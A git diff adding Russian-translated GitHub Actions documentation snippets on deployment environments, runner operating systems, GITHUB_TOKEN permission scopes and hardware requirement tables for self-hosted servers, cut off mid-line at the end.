b/translations/ru-RU/data/reusables/actions/environment-deployment-event.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5a6618e9b13483c7d3c647a8cb5d635225e59280 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114419" +--- +При выполнении задания рабочего процесса, ссылающегося на среду, создается объект развертывания со свойством `environment` с названием вашей среды. По мере выполнения рабочего процесса создаются объекты состояния развертывания со свойством `environment` — имя вашей среды, свойством `environment_url` — URL-адрес среды (если указано в рабочем процессе), и свойством `state` — состояние задания. diff --git a/translations/ru-RU/data/reusables/actions/environment-example.md b/translations/ru-RU/data/reusables/actions/environment-example.md new file mode 100644 index 000000000000..04943060b39b --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/environment-example.md @@ -0,0 +1,53 @@ +--- +ms.openlocfilehash: 4795fdc557dbb103d64f7b97d0fa58f445434bca +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114416" +--- +Вы можете указать среду для каждого задания в рабочем процессе. Для этого добавьте ключ `jobs..environment`, за которым следует имя среды. + +Например, этот рабочий процесс будет использовать среду с именем `production`. + +```yaml +name: Deployment + +on: + push: + branches: + - main + +jobs: + deployment: + runs-on: ubuntu-latest + environment: production + steps: + - name: deploy + # ...deployment-specific steps +``` + +При выполнении указанного выше рабочего процесса задание `deployment` будет применяться к любым правилам, настроенным для среды `production`. Например, если среда требует рецензентов, задание будет приостановлено до тех пор, пока один из рецензентов не утвердит задание. + +Также можно указать URL-адрес среды. Указанный URL-адрес появится на странице развертываний для репозитория (доступ к которым можно получить, нажав **Среды** на странице приветствия репозитория) и в графе визуализации для запуска рабочего процесса. Если запрос на вытягивание активировал рабочий процесс, URL-адрес также отображается в виде кнопки **Просмотреть развертывание** на временной шкале запроса на вытягивание. + +```yaml +name: Deployment + +on: + push: + branches: + - main + +jobs: + deployment: + runs-on: ubuntu-latest + environment: + name: production + url: https://github.com + steps: + - name: deploy + # ...deployment-specific steps +``` + +![Граф рабочего процесса с URL-адресом](/assets/images/help/images/deploy-graph.png) diff --git a/translations/ru-RU/data/reusables/actions/example-diagram-intro.md b/translations/ru-RU/data/reusables/actions/example-diagram-intro.md new file mode 100644 index 000000000000..67ae8b456336 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/example-diagram-intro.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a3da5257bd4e479a7dcedc968cc1bf9015a5bde9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147063429" +--- +На следующей схеме показано общее представление этапов рабочего процесса и их выполнение в задании: diff --git a/translations/ru-RU/data/reusables/actions/example-docs-engineering-intro.md b/translations/ru-RU/data/reusables/actions/example-docs-engineering-intro.md new file mode 100644 index 000000000000..cc23a04a749d --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/example-docs-engineering-intro.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f64c59c12438fde0512ec2ecb7befc51f53dbd6e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883516" +--- +Следующий рабочий процесс был создан командой разработчиков документации для {% data variables.product.prodname_dotcom %}. Чтобы получить последнюю версию этого файла из репозитория [`github/docs`](https://github.com/github/docs), перейдите по адресу: diff --git a/translations/ru-RU/data/reusables/actions/example-explanation-table-intro.md b/translations/ru-RU/data/reusables/actions/example-explanation-table-intro.md new file mode 100644 index 000000000000..19e2ef0f5a85 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/example-explanation-table-intro.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4043cca06a58b3ec584c7ca0b3d2385d540faa23 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067693" +--- +В следующей таблице собраны сведения о том, как каждая из этих возможностей используется при создании рабочего процесса {% data variables.product.prodname_actions %}. diff --git a/translations/ru-RU/data/reusables/actions/example-github-runner.md b/translations/ru-RU/data/reusables/actions/example-github-runner.md new file mode 100644 index 000000000000..e570d341fe17 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/example-github-runner.md @@ -0,0 +1,27 @@ +--- +ms.openlocfilehash: 714bd89ad6e55900871cc7622d922495b8c09a9d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114411" +--- +### Выполнение заданий в другой операционной системе + +Начальный рабочий процесс настраивает задания для запуска в Linux с помощью размещенных в {% data variables.product.prodname_dotcom %} средств выполнения `ubuntu-latest`. Можно изменить ключ `runs-on` для выполнения заданий в другой операционной системе. Например, можно использовать размещенные в {% data variables.product.prodname_dotcom %} средства выполнения Windows. + +{% raw %} +```yaml +runs-on: windows-latest +``` +{% endraw %} + +Кроме этого, можно выполнять задания на размещенных в {% data variables.product.prodname_dotcom %} средствах выполнения macOS. + +{% raw %} +```yaml +runs-on: macos-latest +``` +{% endraw %} + +Можно также выполнять задания в контейнерах Docker или предоставить локальное средство выполнения, которое выполняется в собственной инфраструктуре. Дополнительные сведения см. в статье [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on). diff --git a/translations/ru-RU/data/reusables/actions/example-table-intro.md b/translations/ru-RU/data/reusables/actions/example-table-intro.md new file mode 100644 index 000000000000..fbb863ef2985 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/example-table-intro.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8ffe50010748096a7557c44d2297dc9db28cabf2 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880239" +--- +Пример рабочего процесса демонстрирует следующие возможности {% data variables.product.prodname_actions %}: diff --git a/translations/ru-RU/data/reusables/actions/example-workflow-intro-ci.md b/translations/ru-RU/data/reusables/actions/example-workflow-intro-ci.md new file mode 100644 index 000000000000..38f485568eb6 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/example-workflow-intro-ci.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b9f0d23383c35852de4951d87ffe9d0e6cb768c0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147061565" +--- +В этой статье на примере рабочего процесса демонстрируется применение некоторых функций {% data variables.product.prodname_actions %} для непрерывной интеграции. diff --git a/translations/ru-RU/data/reusables/actions/explanation-name-key.md b/translations/ru-RU/data/reusables/actions/explanation-name-key.md new file mode 100644 index 000000000000..40e7005d5ec1 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/explanation-name-key.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c246b1df8b1b67748cc70e9e43197d6cf902e3be +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147066093" +--- +Имя рабочего процесса в том виде, в котором оно появится на вкладке "Действия" репозитория {% data variables.product.prodname_dotcom %}. diff --git a/translations/ru-RU/data/reusables/actions/expression-syntax-if.md b/translations/ru-RU/data/reusables/actions/expression-syntax-if.md new file mode 100644 index 000000000000..9ba7ffdbf2c5 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/expression-syntax-if.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0034b58c982ba86286016653cfabda4d79178919 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145114403" +--- +При использовании выражений в условной директиве `if` можно пропустить синтаксис выражения ({% raw %}`${{ }}`{% endraw %}), так как {% data variables.product.prodname_dotcom %} автоматически обрабатывает условную директиву `if` как выражение. diff --git a/translations/ru-RU/data/reusables/actions/forked-secrets.md b/translations/ru-RU/data/reusables/actions/forked-secrets.md new file mode 100644 index 000000000000..c1d257ca6743 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/forked-secrets.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 441ab5e490c9420f57c6c1661e31f840c5d2c86c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145089594" +--- +За исключением `GITHUB_TOKEN`, секреты не передаются в средство выполнения при активации рабочего процесса из вилки репозитория. diff --git a/translations/ru-RU/data/reusables/actions/forked-write-permission.md b/translations/ru-RU/data/reusables/actions/forked-write-permission.md new file mode 100644 index 000000000000..e2c493b9fb7d --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/forked-write-permission.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d89d8c457c6d88a0a43231c3603d93ff2f246f5c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114400" +--- +С помощью ключа `permissions` можно добавлять и удалять разрешения на чтение для разветвленных репозиториев, но обычно предоставить доступ на запись нельзя. Исключением из этого поведения является то, что пользователь администратора выбрал **Отправлять маркеры записи в рабочие процессы из запросов на вытягивание** в параметрах {% data variables.product.prodname_actions %}. Дополнительные сведения см. в разделе «[Управление параметрами {% data variables.product.prodname_actions %} для репозитория](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks)». diff --git a/translations/ru-RU/data/reusables/actions/general-security-hardening.md b/translations/ru-RU/data/reusables/actions/general-security-hardening.md new file mode 100644 index 000000000000..0c33d2260f3b --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/general-security-hardening.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 608a6128ab1bdce7bda7a09b7940ec1ab0756197 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114392" +--- +## Общее усиление безопасности для {% data variables.product.prodname_actions %} + +Дополнительные сведения о методах обеспечения безопасности для {% data variables.product.prodname_actions %} см. в разделе[Усиление безопасности для {% data variables.product.prodname_actions %}](/actions/learn-github-actions/security-hardening-for-github-actions). diff --git a/translations/ru-RU/data/reusables/actions/ghes-actions-not-enabled-by-default.md b/translations/ru-RU/data/reusables/actions/ghes-actions-not-enabled-by-default.md new file mode 100644 index 000000000000..9f6bb0a33a5f --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/ghes-actions-not-enabled-by-default.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0cbd692a38e0396d6062d915ce16fbba46e40191 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147067101" +--- +{% data variables.product.prodname_actions %} по умолчанию не включен для {% data variables.product.prodname_ghe_server %}. diff --git a/translations/ru-RU/data/reusables/actions/github-connect-resolution.md b/translations/ru-RU/data/reusables/actions/github-connect-resolution.md new file mode 100644 index 000000000000..54fa9eebde21 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/github-connect-resolution.md @@ -0,0 +1 @@ +When a workflow uses an action by referencing the repository where the action is stored, {% data variables.product.prodname_actions %} will first try to find the repository on {% data variables.location.product_location %}. If the repository does not exist on {% data variables.location.product_location %}, and if you have automatic access to {% data variables.product.prodname_dotcom_the_website %} enabled, {% data variables.product.prodname_actions %} will try to find the repository on {% data variables.product.prodname_dotcom_the_website %}. diff --git a/translations/ru-RU/data/reusables/actions/github-context-warning.md b/translations/ru-RU/data/reusables/actions/github-context-warning.md new file mode 100644 index 000000000000..c1edf843c371 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/github-context-warning.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: dff5faec5e8edcfdaecc213bf7831633ac5ce0f6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881134" +--- +{% warning %} + +**Предупреждение.** При использовании всего контекста `github` помните, что он включает конфиденциальную информацию, например `github.token`. {% data variables.product.prodname_dotcom %} маскирует секреты при печати в консоль, но при экспорте или печати контекста следует соблюдать осторожность. + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/actions/github-hosted-runners-check-concurrency.md b/translations/ru-RU/data/reusables/actions/github-hosted-runners-check-concurrency.md new file mode 100644 index 000000000000..933113a68b81 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/github-hosted-runners-check-concurrency.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 99687deb5c170a7fab2b5050607b25e1aebb844b +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145069605" +--- +Чтобы определить ограничения с параллелизмом или очередями, можно проверить, сколько заданий в настоящее время обрабатывается в средствах выполнения тестов, размещенных в {% data variables.product.prodname_dotcom %}, в вашей организации или предприятии. + +![Снимок экрана: список активных заданий](/assets/images/help/settings/actions-runner-active-jobs.png) + +Дополнительные сведения см. в разделе "[Мониторинг текущих заданий](/actions/using-github-hosted-runners/monitoring-your-current-jobs)". diff --git a/translations/ru-RU/data/reusables/actions/github-hosted-runners-navigate-to-repo-org-enterprise.md b/translations/ru-RU/data/reusables/actions/github-hosted-runners-navigate-to-repo-org-enterprise.md new file mode 100644 index 000000000000..107cb7e71468 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/github-hosted-runners-navigate-to-repo-org-enterprise.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: 233eff44b80fdceeb29d692af02777e57db31f8a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114344" +--- +{% ifversion fpt %} +1. Перейдите на главную страницу организации или репозитория. +1. Щелкните {% octicon "gear" aria-label="The Settings gear" %} **Параметры**. +1. На левой боковой панели нажмите **Действия**, а затем нажмите кнопку **Средства выполнения**. +{% elsif ghec %} +1. Перейдите к параметрам средства выполнения тестов: + * **В организации или репозитории**: перейдите на главную страницу и нажмите {% octicon "gear" aria-label="The Settings gear" %} **Параметры**. + * **Если используется корпоративная учетная запись**: перейдите к своей корпоративной учетной записи, нажав фотографию профиля в правом верхнем углу {% data variables.product.prodname_dotcom_the_website %}, а затем нажмите **Ваши организации** и выберите организацию. +1. Перейдите к параметрам {% data variables.product.prodname_actions %}: + * **В организации или репозитории**: нажмите **Действия** на левой боковой панели и кнопку **Средства выполнения тестов**. + * **При использовании корпоративной учетной записи**: на левой боковой панели нажмите **{% octicon "law" aria-label="The law icon" %} "Политики"** , а затем кнопку **Действия**, а затем перейдите на вкладку **Средства выполнения тестов**. {% endif %} diff --git a/translations/ru-RU/data/reusables/actions/github-hosted-runners-table-entry.md b/translations/ru-RU/data/reusables/actions/github-hosted-runners-table-entry.md new file mode 100644 index 000000000000..a96a66d23975 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/github-hosted-runners-table-entry.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3600ca7ae43771a4c601b54990935a23b4533b32 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114339" +--- +1. В таблице "Средства выполнения тестов" щелкните запись **Средства выполнения тестов, размещенные в GitHub**. Эта запись будет присутствовать только в том случае, если вы используете средства выполнения тестов, размещенные в {% data variables.product.prodname_dotcom %}. diff --git a/translations/ru-RU/data/reusables/actions/github-token-available-permissions.md b/translations/ru-RU/data/reusables/actions/github-token-available-permissions.md new file mode 100644 index 000000000000..240f555a0e80 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/github-token-available-permissions.md @@ -0,0 +1,40 @@ +--- +ms.openlocfilehash: 56ed7762c2325d0328bd52ca89fe7879b5ce4601 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145089581" +--- +Доступные области и значения доступа: + +```yaml +permissions: + actions: read|write|none + checks: read|write|none + contents: read|write|none + deployments: read|write|none{% ifversion fpt or ghec %} + id-token: read|write|none{% endif %} + issues: read|write|none + discussions: read|write|none + packages: read|write|none + pages: read|write|none + pull-requests: read|write|none + repository-projects: read|write|none + security-events: read|write|none + statuses: read|write|none +``` + +Если указать доступ для любой из этих областей, для всех не указанных параметров будет задано значение `none`. + +Для определения доступа на чтение или запись для всех доступных областей можно использовать следующий синтаксис: + +```yaml +permissions: read-all|write-all +``` + +Для отключения разрешений для всех доступных областей можно использовать следующий синтаксис: + +```yaml +permissions: {} +``` diff --git a/translations/ru-RU/data/reusables/actions/github-token-expiration.md b/translations/ru-RU/data/reusables/actions/github-token-expiration.md new file mode 100644 index 000000000000..30a0ce7438e2 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/github-token-expiration.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e280e880c8e1b0fcf841a9652b44f17bc8cb56ea +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067421" +--- +Срок действия `GITHUB_TOKEN` истекает при завершении задания или в течение не более 24 часов. diff --git a/translations/ru-RU/data/reusables/actions/github-token-permissions.md b/translations/ru-RU/data/reusables/actions/github-token-permissions.md new file mode 100644 index 000000000000..4a5280a228d9 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/github-token-permissions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: dcca3d0170e92663336865f43ddc4e7ac5204702 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147060317" +--- +Секрет `GITHUB_TOKEN` устанавливается в качестве маркера доступа для репозитория при каждом запуске задания в рабочем процессе. Вам следует установить разрешения для этого маркера доступа в файле рабочего процесса, чтобы предоставить доступ на чтение в области `contents` и доступ на запись в области `packages`. Дополнительные сведения см. в разделе [Проверка подлинности с помощью GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token). diff --git a/translations/ru-RU/data/reusables/actions/github_sha_description.md b/translations/ru-RU/data/reusables/actions/github_sha_description.md new file mode 100644 index 000000000000..504f4702fb53 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/github_sha_description.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b362ff01387cbd9a70aeeceb51bff2b48f776bb9 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148110123" +--- +SHA фиксации, инициировавшей рабочий процесс. Значение этой фиксации SHA зависит от события, активирующего рабочий процесс. Дополнительные сведения см. в разделе [События, активирующие рабочие процессы](/actions/using-workflows/events-that-trigger-workflows). Например, `ffac537e6cbbf934b08745a378932722df287a53`. diff --git a/translations/ru-RU/data/reusables/actions/github_token-input-example.md b/translations/ru-RU/data/reusables/actions/github_token-input-example.md new file mode 100644 index 000000000000..97cf473c825f --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/github_token-input-example.md @@ -0,0 +1,26 @@ +--- +ms.openlocfilehash: eeaa56fe9499f2e74e2baa66f883d9aa31bc81f9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147065733" +--- +В этом примере рабочего процесса используется [действие маркировщика](https://github.com/actions/labeler), для которого требуется `GITHUB_TOKEN` в качестве значения входного параметра `repo-token`: + +```yaml{:copy} +name: Pull request labeler +on: [ pull_request_target ] + +permissions: + contents: read + pull-requests: write + +jobs: + triage: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-labeler %} + with: + repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} +``` diff --git a/translations/ru-RU/data/reusables/actions/gradle-workflow-steps.md b/translations/ru-RU/data/reusables/actions/gradle-workflow-steps.md new file mode 100644 index 000000000000..f2faf06e75e8 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/gradle-workflow-steps.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 63428b86ba75f7b790895525b37d0802998aa30e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145089578" +--- +Этот рабочий процесс выполняет следующие действия: + +1. Извлекает копию репозитория проекта. +1. Настраивает JDK Java. +1. Проверяет контрольные суммы всех JAR-файлов программы-оболочки Gradle, имеющихся в репозитории. diff --git a/translations/ru-RU/data/reusables/actions/hardware-requirements-3.2.md b/translations/ru-RU/data/reusables/actions/hardware-requirements-3.2.md new file mode 100644 index 000000000000..e548607b3192 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/hardware-requirements-3.2.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: c65b3eaa66968c97e667fd528aee4fc394c0c3b7 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145069596" +--- +| Число виртуальных ЦП | Память | Максимальный параллелизм | +| :--- | :--- | :--- | +| 32 | 128 ГБ | 1000 заданий | +| 64 | 256 ГБ | 1300 заданий | +| 96 | 384 ГБ | 2200 заданий | diff --git a/translations/ru-RU/data/reusables/actions/hardware-requirements-3.3.md b/translations/ru-RU/data/reusables/actions/hardware-requirements-3.3.md new file mode 100644 index 000000000000..0d8397e73cd0 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/hardware-requirements-3.3.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: a94cb68b10ff062b25cfe5d60de5d2dc523ab836 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145114331" +--- +| Число виртуальных ЦП | Память | Максимальный параллелизм | +| :--- | :--- | :--- | +| 8 | 64 ГБ | 300 заданий | +| 16 | 128 ГБ | 700 заданий | +| 32 | 160 ГБ | 1300 заданий | +| 64 | 256 ГБ | 2000 заданий | +| 96 | 384 ГБ | 4000 заданий | diff --git a/translations/ru-RU/data/reusables/actions/hardware-requirements-3.4.md b/translations/ru-RU/data/reusables/actions/hardware-requirements-3.4.md new file mode 100644 index 000000000000..af15c2a1347d --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/hardware-requirements-3.4.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: a3c6e4833bb37beb8bffd0088bdde37b150b59e7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145089570" +--- +| Число виртуальных ЦП | Память | Максимальный параллелизм | +| :---| :--- | :--- | +| 8 | 64 ГБ | 300 заданий | +| 16 | 128 ГБ | 700 заданий | +| 32 | 160 ГБ | 1500 заданий | +| 64 | 256 ГБ | 2500 заданий | +| 96 | 384 ГБ | 4500 заданий | +| 128 | 550 ГБ | 5000 заданий | diff --git a/translations/ru-RU/data/reusables/actions/hardware-requirements-3.5.md b/translations/ru-RU/data/reusables/actions/hardware-requirements-3.5.md new file mode 100644 index 000000000000..e5da596370ad --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/hardware-requirements-3.5.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 5be878c1fcb711df06bd300a8aa631a6a6bfc147 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114328" +--- +| Число виртуальных ЦП | Память | Максимальный параллелизм | +| :---| :--- | :--- | +| 8 | 64 ГБ | 740 заданий | +| 16 | 128 ГБ | 1250 заданий | +| 32 | 160 ГБ | 2700 заданий | +| 64 | 256 ГБ | 4500 заданий | +| 96 | 384 ГБ | 7000 заданий | diff --git a/translations/ru-RU/data/reusables/actions/hardware-requirements-before.md b/translations/ru-RU/data/reusables/actions/hardware-requirements-before.md new file mode 100644 index 000000000000..09e5d33b0c45 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/hardware-requirements-before.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: d0205e7a87416c4c9e19ec6effe1de883f911691 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145089565" +--- +| Число виртуальных ЦП | Память | Максимальная пропускная способность задания | +| :--- | :--- | :--- | +| 4 | 32 ГБ | Демонстрация или тестирование в облегченном режиме | +| 8 | 64 ГБ | 25 заданий | +| 16 | 160 ГБ | 35 заданий | +| 32 | 256 ГБ | 100 заданий | diff --git a/translations/ru-RU/data/reusables/actions/hosted-runner-configure-runner-group-access.md b/translations/ru-RU/data/reusables/actions/hosted-runner-configure-runner-group-access.md new file mode 100644 index 000000000000..6eeef453d9db --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/hosted-runner-configure-runner-group-access.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 8d06e94034fd179bfa5871a291ddb381097a55c4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114320" +--- +1. В разделе средства выполнения страницы параметров щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} рядом с группой средств выполнения, которую вы хотите настроить, а затем **Изменить имя и доступ [организации|репозитория]** . +1. Измените параметры политики или имя группы средства выполнения. diff --git a/translations/ru-RU/data/reusables/actions/hosted-runner-labels-view-assigned-labels.md b/translations/ru-RU/data/reusables/actions/hosted-runner-labels-view-assigned-labels.md new file mode 100644 index 000000000000..123115a2ddb7 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/hosted-runner-labels-view-assigned-labels.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 2a9ca0603082e9c13b64159978ab562da3c4df0c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145089562" +--- +1. Найдите средство выполнения, которое нужно обновить, и щелкните {% octicon "triangle-down" aria-label="The downward triangle" %}, чтобы открыть меню выбора метки. В этом меню отображаются все пользовательские метки, доступные для средства выполнения. Рядом с метками, уже назначенными средству выполнения, имеется значок {% octicon "check" aria-label="Check mark" %}. + + ![Изменение метки средства выполнения](/assets/images/help/settings/actions-hosted-runner-list-label.png) diff --git a/translations/ru-RU/data/reusables/actions/hosted-runner-list-group.md b/translations/ru-RU/data/reusables/actions/hosted-runner-list-group.md new file mode 100644 index 000000000000..d2e98180c882 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/hosted-runner-list-group.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 2ac72a14fbf6fac64c76a818439912936aa5742d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114315" +--- +1. Если средство выполнения находится в группе, найдите эту группу средств выполнения и щелкните {% octicon "chevron-down" aria-label="The downward chevron" %} для просмотра списка средств выполнения. + + ![Список средств выполнения в группе](/assets/images/help/settings/actions-hosted-runner-group-members.png) diff --git a/translations/ru-RU/data/reusables/actions/hosted-runner-list.md b/translations/ru-RU/data/reusables/actions/hosted-runner-list.md new file mode 100644 index 000000000000..35f825742f5b --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/hosted-runner-list.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8d59fb471e055f1086076e6e0634e3f45ef80383 +ms.sourcegitcommit: 